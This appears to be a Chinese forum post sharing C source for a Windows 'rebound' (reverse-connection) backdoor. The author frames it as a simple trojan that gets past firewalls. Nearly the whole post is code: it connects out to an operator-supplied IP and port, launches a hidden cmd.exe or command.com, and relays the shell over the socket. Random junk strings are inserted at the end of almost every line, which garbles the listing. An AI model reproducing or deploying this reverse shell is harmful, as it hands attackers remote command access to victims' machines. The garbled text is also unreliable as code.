这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 HXY,e$c#y
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/* ============================== ZBX,4kxK7
Rebound port in Windows NT (Z{&[h
By wind,2006/7 *pMu,?uE
===============================*/ ESQgN+llj
#include V_.n G;
#include AR}q<k6E
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#pragma comment(lib,"wsock32.lib") s1/:Ts[3i
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void OutputShell(); _Vj uQ
SOCKET sClient; Ait3KIJ9
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2wKW17wj,
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void main(int argc,char **argv) 6L\?+=X
{ 'c")]{
WSADATA stWsaData; _h7qS
int nRet; H7=[sL^
SOCKADDR_IN stSaiClient,stSaiServer; p"lTZ7c:Y
$:
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if(argc != 3) vi:IO
{ Ev' BmDk
printf("Useage:\n\rRebound DestIP DestPort\n"); ,cg%t9
return; CG -^}xE:
} dDeImSeV
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WSAStartup(MAKEWORD(2,2),&stWsaData); t(,_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ie14`'
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stSaiClient.sin_family = AF_INET; K/OE;;<IA
stSaiClient.sin_port = htons(0); P{{pp<tX*&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K}(0H [P
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _r6aLm2n
{ 8&0+Az"{O
printf("Bind Socket Failed!\n"); [l9iWs'M
return; k&kx%skz
} uk\-"dS
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stSaiServer.sin_family = AF_INET; 9sR?aW^$,/
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mV58&SZT
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9)Jc'd|
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ML|O2e
{ [kjm EMF9i
printf("Connect Error!"); SW^/\cJ^
return; .@(+.G
} @\_l%/z{
OutputShell(); :mpR}.^hv
} .^Z^L F
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void OutputShell() v;r!rZX
{ mnwYv..ePz
char szBuff[1024]; 6N^sUc0s
SECURITY_ATTRIBUTES stSecurityAttributes; >>'t7U##
OSVERSIONINFO stOsversionInfo; $G_,$U!
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; HalkNR-eEm
STARTUPINFO stStartupInfo; ?[|T"bE5[
char *szShell; +/L "A
PROCESS_INFORMATION stProcessInformation; qq)Dh'5*e,
unsigned long lBytesRead; j|N8"8"
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qBkI9H
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |6mDooTy
stSecurityAttributes.lpSecurityDescriptor = 0; :YAxL J
stSecurityAttributes.bInheritHandle = TRUE; KG5h$eM'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); WrS|$: 0
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); quvdm68
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kCq]#e~wq
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &vy/Vd
stStartupInfo.wShowWindow = SW_HIDE; )Apg
stStartupInfo.hStdInput = hReadPipe; yLo{^4a.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [ NSsT>C
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GetVersionEx(&stOsversionInfo); \U1fUrw$*
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switch(stOsversionInfo.dwPlatformId) `?X=@
{ )AX0x1I|E
case 1: PhS`,I^Z
szShell = "command.com"; H|uvc vf
break; -RSPYQjz
default: ]lKQwpX3
szShell = "cmd.exe"; *TjolE~o
break; T2nbU6H
} 7H1 ii
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); s?.A
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send(sClient,szMsg,77,0); RawK9K_1
while(1) 1>doa1
{ &r{.b#7\/A
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *acN/Ca1
if(lBytesRead) (Oc[j{6q
{ 1lxsj{>U
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tPT\uD#t
send(sClient,szBuff,lBytesRead,0); GQNs :oRJ'
} 6Q&*V7EO
else y5X HJUTu
{ =-ky%3:`@
lBytesRead=recv(sClient,szBuff,1024,0); y11/:|
if(lBytesRead<=0) break; 9Yh0'
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cR0RJ$[d
} S_z}h
} V7zF5=w
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return; WhO;4-q)2
}